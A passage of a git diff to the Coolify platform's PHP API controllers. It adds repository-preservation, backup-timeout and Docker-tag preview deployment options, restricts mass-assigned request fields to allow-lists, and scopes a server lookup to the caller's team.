=> 'boolean', 'default' => true, 'description' => 'If true and domains is empty, auto-generate a domain using the server\'s wildcard domain or sslip.io fallback. Default: true.'], 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'], + 'is_preserve_repository_enabled' => ['type' => 'boolean', 'default' => false, 'description' => 'Preserve repository during deployment.'], ], ) ), @@ -1006,7 +1009,7 @@ private function create_application(Request $request, $type) if ($return instanceof JsonResponse) { return $return; } - $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled']; + $allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled', 'is_preserve_repository_enabled']; $validator = customApiValidator($request->all(), [ 'name' => 'string|max:255', @@ -1055,6 +1058,7 @@ private function create_application(Request $request, $type) $connectToDockerNetwork = $request->connect_to_docker_network; $customNginxConfiguration = $request->custom_nginx_configuration; $isContainerLabelEscapeEnabled = $request->boolean('is_container_label_escape_enabled', true); + $isPreserveRepositoryEnabled = $request->boolean('is_preserve_repository_enabled',false); if (! is_null($customNginxConfiguration)) { if (! isBase64Encoded($customNginxConfiguration)) { @@ -1158,7 +1162,7 @@ private function create_application(Request $request, $type) $application = new Application; removeUnnecessaryFieldsFromRequest($request); - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $dockerComposeDomainsJson = collect(); if ($request->has('docker_compose_domains')) { $dockerComposeDomains = collect($request->docker_compose_domains); @@ -1267,6 +1271,10 @@ private function create_application(Request $request, $type) $application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled; $application->settings->save(); } + if (isset($isPreserveRepositoryEnabled)) { + $application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled; + $application->settings->save(); + } $application->refresh(); // Auto-generate domain if requested and no custom domain provided if ($autogenerateDomain && blank($fqdn)) { @@ -1385,7 +1393,7 @@ private function create_application(Request $request, $type) $application = new Application; removeUnnecessaryFieldsFromRequest($request); - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $dockerComposeDomainsJson = collect(); if ($request->has('docker_compose_domains')) { @@ -1499,6 +1507,10 @@ private function create_application(Request $request, $type) $application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled; $application->settings->save(); } + if (isset($isPreserveRepositoryEnabled)) { + $application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled; + $application->settings->save(); + } if ($application->settings->is_container_label_readonly_enabled) { $application->custom_labels = str(implode('|coolify|', generateLabelsApplication($application)))->replace('|coolify|', "\n"); $application->save(); @@ -1585,7 +1597,7 @@ private function create_application(Request $request, $type) $application = new Application; removeUnnecessaryFieldsFromRequest($request); - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $dockerComposeDomainsJson = collect(); if ($request->has('docker_compose_domains')) { @@ -1695,6 +1707,10 @@ private function create_application(Request $request, $type) $application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled; $application->settings->save(); } + if (isset($isPreserveRepositoryEnabled)) { + $application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled; + $application->settings->save(); + } if ($application->settings->is_container_label_readonly_enabled) { $application->custom_labels = str(implode('|coolify|', generateLabelsApplication($application)))->replace('|coolify|', "\n"); $application->save(); @@ -1772,7 +1788,7 @@ private function create_application(Request $request, $type) } $application = new Application; - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $application->fqdn = $fqdn; $application->ports_exposes = $port; $application->build_pack = 'dockerfile'; @@ -1884,7 +1900,7 @@ private function create_application(Request $request, $type) $application = new Application; removeUnnecessaryFieldsFromRequest($request); - $application->fill($request->all()); + $application->fill($request->only($allowedFields)); $application->fqdn = $fqdn; $application->build_pack = 'dockerimage'; $application->destination_id = $destination->id; @@ -2000,7 +2016,7 @@ private function create_application(Request $request, $type) $service = new Service; removeUnnecessaryFieldsFromRequest($request); - $service->fill($request->all()); + $service->fill($request->only($allowedFields)); $service->docker_compose_raw = $dockerComposeRaw; $service->environment_id = $environment->id; @@ -2390,6 +2406,7 @@ public function delete_by_uuid(Request $request) 'connect_to_docker_network' => ['type' => 'boolean', 'description' => 'The flag to connect the service to the predefined Docker network.'], 'force_domain_override' => ['type' => 'boolean', 'description' => 'Force domain usage even if conflicts are detected. Default is false.'], 'is_container_label_escape_enabled' => ['type' => 'boolean', 'default' => true, 'description' => 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'], + 'is_preserve_repository_enabled' => ['type' => 'boolean', 'description' => 'Preserve git repository during application update. If false, the existing repository will be removed and replaced with the new one. If true, the existing repository will be kept and the new one will be ignored. Default is false.'], ], ) ), @@ -2475,7 +2492,7 @@ public function update_by_uuid(Request $request) $this->authorize('update', $application); $server = $application->destination->server; - $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled']; + $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled', 'is_preserve_repository_enabled']; $validationRules = [ 'name' => 'string|max:255', @@ -2722,7 +2739,7 @@ public function update_by_uuid(Request $request) $connectToDockerNetwork = $request->connect_to_docker_network; $useBuildServer = $request->use_build_server; $isContainerLabelEscapeEnabled = $request->boolean('is_container_label_escape_enabled'); - + $isPreserveRepositoryEnabled = $request->boolean('is_preserve_repository_enabled'); if (isset($useBuildServer)) { $application->settings->is_build_server_enabled = $useBuildServer; $application->settings->save(); @@ -2757,10 +2774,13 @@ public function update_by_uuid(Request $request) $application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled; $application->settings->save(); } - + if ($request->has('is_preserve_repository_enabled')) { + $application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled; + $application->settings->save(); + } removeUnnecessaryFieldsFromRequest($request); - $data = $request->all(); + $data = $request->only($allowedFields); if ($requestHasDomains && $server->isProxyShouldRun()) { data_set($data, 'fqdn', $domains); } diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index 33d875758..8e31a7051 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -643,6 +643,7 @@ public function update_by_uuid(Request $request) 'database_backup_retention_amount_s3' => ['type' => 'integer', 'description' => 'Number of backups to retain in S3'], 'database_backup_retention_days_s3' => ['type' => 'integer', 'description' => 'Number of days to retain backups in S3'], 'database_backup_retention_max_storage_s3' => ['type' => 'integer', 'description' => 'Max storage (MB) for S3 backups'], + 'timeout' => ['type' => 'integer', 'description' => 'Backup job timeout in seconds (min: 60, max: 36000)', 'default' => 3600], ], ), ) @@ -679,7 +680,7 @@ public function update_by_uuid(Request $request) )] public function create_backup(Request $request) { - $backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid']; + $backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid', 'timeout']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -706,6 +707,7 @@ public function create_backup(Request $request) 'database_backup_retention_amount_s3' => 'integer|min:0', 'database_backup_retention_days_s3' => 'integer|min:0', 'database_backup_retention_max_storage_s3' => 'integer|min:0', + 'timeout' => 'integer|min:60|max:36000', ]); if ($validator->fails()) { @@ -880,6 +882,7 @@ public function create_backup(Request $request) 'database_backup_retention_amount_s3' => ['type' => 'integer', 'description' => 'Retention amount of the backup in s3'], 'database_backup_retention_days_s3' => ['type' => 'integer', 'description' => 'Retention days of the backup in s3'], 'database_backup_retention_max_storage_s3' => ['type' => 'integer', 'description' => 'Max storage of the backup in S3'], + 'timeout' => ['type' => 'integer', 'description' => 'Backup job timeout in seconds (min: 60, max: 36000)', 'default' => 3600], ], ), ) @@ -909,7 +912,7 @@ public function create_backup(Request $request) )] public function update_backup(Request $request) { - $backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid']; + $backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid', 'timeout']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -927,13 +930,14 @@ public function update_backup(Request $request) 'dump_all' => 'boolean', 's3_storage_uuid' => 'string|exists:s3_storages,uuid|nullable', 'databases_to_backup' => 'string|nullable', - 'frequency' => 'string|in:every_minute,hourly,daily,weekly,monthly,yearly', + 'frequency' => 'string', 'database_backup_retention_amount_locally' => 'integer|min:0', 'database_backup_retention_days_locally' => 'integer|min:0', 'database_backup_retention_max_storage_locally' => 'integer|min:0', 'database_backup_retention_amount_s3' => 'integer|min:0', 'database_backup_retention_days_s3' => 'integer|min:0', 'database_backup_retention_max_storage_s3' => 'integer|min:0', + 'timeout' => 'integer|min:60|max:36000', ]); if ($validator->fails()) { return response()->json([ @@ -960,6 +964,17 @@ public function update_backup(Request $request) $this->authorize('update', $database); + // Validate frequency is a valid cron expression + if ($request->filled('frequency')) { + $isValid = validate_cron_expression($request->frequency); + if (! $isValid) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['frequency' => ['Invalid cron expression or frequency format.']], + ], 422); + } + } + if ($request->boolean('save_s3') && ! $request->filled('s3_storage_uuid')) { return response()->json([ 'message' => 'Validation failed.', @@ -1751,7 +1766,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('postgres_conf', $postgresConf); } - $database = create_standalone_postgresql($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_postgresql($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1806,7 +1821,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('mariadb_conf', $mariadbConf); } - $database = create_standalone_mariadb($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_mariadb($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1865,7 +1880,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('mysql_conf', $mysqlConf); } - $database = create_standalone_mysql($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_mysql($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1921,7 +1936,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('redis_conf', $redisConf); } - $database = create_standalone_redis($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_redis($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1958,7 +1973,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } removeUnnecessaryFieldsFromRequest($request); - $database = create_standalone_dragonfly($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_dragonfly($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -2007,7 +2022,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('keydb_conf', $keydbConf); } - $database = create_standalone_keydb($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_keydb($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -2043,7 +2058,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) ], 422); } removeUnnecessaryFieldsFromRequest($request); - $database = create_standalone_clickhouse($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_clickhouse($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -2101,7 +2116,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('mongo_conf', $mongoConf); } - $database = create_standalone_mongodb($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_mongodb($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } diff --git a/app/Http/Controllers/Api/DeployController.php b/app/Http/Controllers/Api/DeployController.php index 85d532f62..6ff06c10a 100644 --- a/app/Http/Controllers/Api/DeployController.php +++ b/app/Http/Controllers/Api/DeployController.php @@ -4,12 +4,15 @@ use App\Actions\Database\StartDatabase; use App\Actions\Service\StartService; +use App\Enums\ApplicationDeploymentStatus; use App\Http\Controllers\Controller; use App\Models\Application; use App\Models\ApplicationDeploymentQueue; +use App\Models\ApplicationPreview; use App\Models\Server; use App\Models\Service; use App\Models\Tag; +use Illuminate\Auth\Access\AuthorizationException; use Illuminate\Http\Request; use OpenApi\Attributes as OA; use Visus\Cuid2\Cuid2; @@ -228,8 +231,8 @@ public function cancel_deployment(Request $request) // Check if deployment can be cancelled (must be queued or in_progress) $cancellableStatuses = [ - \App\Enums\ApplicationDeploymentStatus::QUEUED->value, - \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value, + ApplicationDeploymentStatus::QUEUED->value, + ApplicationDeploymentStatus::IN_PROGRESS->value, ]; if (! in_array($deployment->status, $cancellableStatuses)) { @@ -246,11 +249,11 @@ public function cancel_deployment(Request $request) // Mark deployment as cancelled $deployment->update([ - 'status' => \App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value, + 'status' => ApplicationDeploymentStatus::CANCELLED_BY_USER->value, ]); // Get the server - $server = Server::find($build_server_id); + $server = Server::whereTeamId($teamId)->find($build_server_id); if ($server) { // Add cancellation log entry @@ -304,6 +307,8 @@ public function cancel_deployment(Request $request) new OA\Parameter(name: 'uuid', in: 'query', description: 'Resource UUID(s). Comma separated list is also accepted.', schema: new OA\Schema(type: 'string')), new OA\Parameter(name: 'force', in: 'query', description: 'Force rebuild (without cache)', schema: new OA\Schema(type: 'boolean')), new OA\Parameter(name: 'pr', in: 'query', description: 'Pull Request Id for deploying specific PR builds. Cannot be used with tag parameter.', schema: new OA\Schema(type: 'integer')), + new OA\Parameter(name: 'pull_request_id', in: 'query', description: 'Preview deployment identifier. Alias of pr.', schema: new OA\Schema(type: 'integer')), + new OA\Parameter(name: 'docker_tag', in: 'query', description: 'Docker image tag for Docker Image preview deployments. Requires pull_request_id.', schema: new OA\Schema(type: 'string')), ], responses: [ @@ -354,7 +359,9 @@ public function deploy(Request $request) $uuids = $request->input('uuid'); $tags = $request->input('tag'); $force = $request->input('force') ?? false; - $pr = $request->input('pr') ? max((int) $request->input('pr'), 0) : 0; + $pullRequestId = $request->input('pull_request_id', $request->input('pr')); + $pr = $pullRequestId ? max((int) $pullRequestId, 0) : 0; + $dockerTag = $request->string('docker_tag')->trim()->value() ?: null; if ($uuids && $tags) { return response()->json(['message' => 'You can only use uuid or tag, not both.'], 400); @@ -362,16 +369,22 @@ public function deploy(Request $request) if ($tags && $pr) { return response()->json(['message' => 'You can only use tag or pr, not both.'], 400); } + if ($dockerTag && $pr === 0) { + return response()->json(['message' => 'docker_tag requires pull_request_id.'], 400); + } + if ($dockerTag && $tags) { + return response()->json(['message' => 'You can only use tag or docker_tag, not both.'], 400); + } if ($tags) { return $this->by_tags($tags, $teamId, $force); } elseif ($uuids) { - return $this->by_uuids($uuids, $teamId, $force, $pr); + return $this->by_uuids($uuids, $teamId, $force, $pr, $dockerTag); } return response()->json(['message' => 'You must provide uuid or tag.'], 400); } - private function by_uuids(string $uuid, int $teamId, bool $force = false, int $pr = 0) + private function by_uuids(string $uuid, int $teamId, bool $force = false, int $pr = 0, ?string $dockerTag = null) { $uuids = explode(',', $uuid); $uuids = collect(array_filter($uuids)); @@ -384,15 +397,22 @@ private function by_uuids(string $uuid, int $teamId, bool $force = false, int $p foreach ($uuids as $uuid) { $resource = getResourceByUuid($uuid, $teamId); if ($resource) { + $dockerTagForResource = $dockerTag; if ($pr !== 0) { - $preview = $resource->previews()->where('pull_request_id', $pr)->first(); + $preview = null; + if ($resource instanceof Application && $resource->build_pack === 'dockerimage') { + $preview = $this->upsertDockerImagePreview($resource, $pr, $dockerTag); + $dockerTagForResource = $preview?->docker_registry_image_tag; + } else { + $preview = $resource->previews()->where('pull_request_id', $pr)->first(); + } if (! $preview) { $deployments->push(['message' => "Pull request {$pr} not found for this resource.", 'resource_uuid' => $uuid]); continue; } } - $result = $this->deploy_resource($resource, $force, $pr); + $result = $this->deploy_resource($resource, $force, $pr, $dockerTagForResource); if (isset($result['status']) && $result['status'] === 429) { return response()->json(['message' => $result['message']], 429)->header('Retry-After', 60); } @@ -465,7 +485,7 @@ public function by_tags(string $tags, int $team_id, bool $force = false) return response()->json(['message' => 'No resources found with this tag.'], 404); } - public function deploy_resource($resource, bool $force = false, int $pr = 0): array + public function deploy_resource($resource, bool $force = false, int $pr = 0, ?string $dockerTag = null): array { $message = null; $deployment_uuid = null; @@ -477,9 +497,12 @@ public function deploy_resource($resource, bool $force = false, int $pr = 0): ar // Check authorization for application deployment try { $this->authorize('deploy', $resource); - } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + } catch (AuthorizationException $e) { return ['message' => 'Unauthorized to deploy this application.', 'deployment_uuid' => null]; } + if ($dockerTag !== null && $resource->build_pack !== 'dockerimage') { + return ['message' => 'docker_tag can only be used with Docker Image applications.', 'deployment_uuid' => null]; + } $deployment_uuid = new Cuid2; $result = queue_application_deployment( application: $resource, @@ -487,6 +510,7 @@ public function deploy_resource($resource, bool $force = false, int $pr = 0): ar force_rebuild: $force, pull_request_id: $pr, is_api: true, + docker_registry_image_tag: $dockerTag, ); if ($result['status'] === 'queue_full') { return ['message' => $result['message'], 'deployment_uuid' => null, 'status' => 429]; @@ -500,7 +524,7 @@ public function deploy_resource($resource, bool $force = false, int $pr = 0): ar // Check authorization for service deployment try { $this->authorize('deploy', $resource); - } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + } catch (AuthorizationException $e) { return ['message' => 'Unauthorized to deploy this service.', 'deployment_uuid' => null]; } StartService::run($resource); @@ -510,7 +534,7 @@ public function deploy_resource($resource, bool $force = false, int $pr = 0): ar // Database resource - check authorization try { $this->authorize('manage', $resource); - } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + } catch (AuthorizationException $e) { return ['message' => 'Unauthorized to start this database.', 'deployment_uuid' => null]; } StartDatabase::dispatch($resource); @@ -525,6 +549,34 @@ public function deploy_resource($resource, bool $force = false, int $pr = 0): ar return ['message' => $message, 'deployment_uuid' => $deployment_uuid]; } + private function upsertDockerImagePreview(Application $application, int $pullRequestId, ?string $dockerTag): ?ApplicationPreview + { + $preview = $application->previews()->where('pull_request_id', $pullRequestId)->first(); + + if (! $preview && $dockerTag === null) { + return null; + } + + if (! $preview) { + $preview = ApplicationPreview::create([ + 'application_id' => $application->id, + 'pull_request_id' => $pullRequestId, + 'pull_request_html_url' => '', + 'docker_registry_image_tag' => $dockerTag, + ]); + $preview->generate_preview_fqdn(); + + return $preview; + } + + if ($dockerTag !== null && $preview->docker_registry_image_tag !== $dockerTag) { + $preview->docker_registry_image_tag = $dockerTag; + $preview->save(); + } + + return $preview; + } + #[OA\Get( summary: 'List application deployments', description: 'List application deployments by using the app uuid', diff --git a/app/Http/Controllers/Api/ProjectController.php b/app/Http/Controllers/Api/ProjectController.php index da553a68c..c8638be0d 100644 --- a/app/Http/Controllers/Api/ProjectController.php +++ b/app/Http/Controllers/Api/ProjectController.php @@ -5,6 +5,7 @@ use App\Http\Controllers\Controller; use App\Models\Project; use App\Support\ValidationPatterns; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; use OpenApi\Attributes as OA; @@ -234,7 +235,7 @@ public function create_project(Request $request) } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $validator = Validator::make($request->all(), [ @@ -257,7 +258,7 @@ public function create_project(Request $request) ], 422); } - $project = Project::create([ + $project = Project::forceCreate([ 'name' => $request->name, 'description' => $request->description, 'team_id' => $teamId, @@ -347,7 +348,7 @@ public function update_project(Request $request) } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $validator = Validator::make($request->all(), [ @@ -600,7 +601,7 @@ public function create_environment(Request $request) } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $validator = Validator::make($request->all(), [ diff --git a/app/Http/Controllers/Api/SecurityController.php b/app/Http/Controllers/Api/SecurityController.php index e7b36cb9a..2c62928c2 100644 --- a/app/Http/Controllers/Api/SecurityController.php +++ b/app/Http/Controllers/Api/SecurityController.php @@ -4,6 +4,7 @@ use App\Http\Controllers\Controller; use App\Models\PrivateKey; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use OpenApi\Attributes as OA; @@ -176,7 +177,7 @@ public function create_key(Request $request) return invalidTokenResponse(); } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $validator = customApiValidator($request->all(), [ @@ -300,7 +301,7 @@ public function update_key(Request $request) return invalidTokenResponse(); } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } @@ -330,7 +331,7 @@ public function update_key(Request $request) 'message' => 'Private Key not found.', ], 404); } - $foundKey->update($request->all()); + $foundKey->update($request->only($allowedFields)); return response()->json(serializeApiResponse([ 'uuid' => $foundKey->uuid, diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php index 2ef95ce8b..c13c6665c 100644 --- a/app/Http/Controllers/Api/ServersController.php +++ b/app/Http/Controllers/Api/ServersController.php @@ -598,6 +598,11 @@ public function create_server(Request $request) 'is_build_server' => ['type' => 'boolean', 'description' => 'Is build server.'], 'instant_validate' => ['type' => 'boolean', 'description' => 'Instant validate.'], 'proxy_type' => ['type' => 'string', 'enum' => ['traefik', 'caddy', 'none'], 'description' => 'The proxy type.'], + 'concurrent_builds' => ['type' => 'integer', 'description' => 'Number of concurrent builds.'], + 'dynamic_timeout' => ['type' => 'integer', 'description' => 'Deployment timeout in seconds.'], + 'deployment_queue_limit' => ['type' => 'integer', 'description' => 'Maximum number of queued deployments.'], + 'server_disk_usage_notification_threshold' => ['type' => 'integer', 'description' => 'Server disk usage notification threshold (%).'], + 'server_disk_usage_check_frequency' => ['type' => 'string', 'description' => 'Cron expression for disk usage check frequency.'], ], ), ), @@ -634,7 +639,7 @@ public function create_server(Request $request) )] public function update_server(Request $request) { - $allowedFields = ['name', 'description', 'ip', 'port', 'user', 'private_key_uuid', 'is_build_server', 'instant_validate', 'proxy_type']; + $allowedFields = ['name', 'description', 'ip', 'port', 'user', 'private_key_uuid', 'is_build_server', 'instant_validate', 'proxy_type', 'concurrent_builds', 'dynamic_timeout', 'deployment_queue_limit', 'server_disk_usage_notification_threshold', 'server_disk_usage_check_frequency']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -655,6 +660,11 @@ public function update_server(Request $request) 'is_build_server' => 'boolean|nullable', 'instant_validate' => 'boolean|nullable', 'proxy_type' => 'string|nullable', + 'concurrent_builds' => 'integer|min:1', + 'dynamic_timeout' => 'integer|min:1', + 'deployment_queue_limit' => 'integer|min:1', + 'server_disk_usage_notification_threshold' => 'integer|min:1|max:100', + 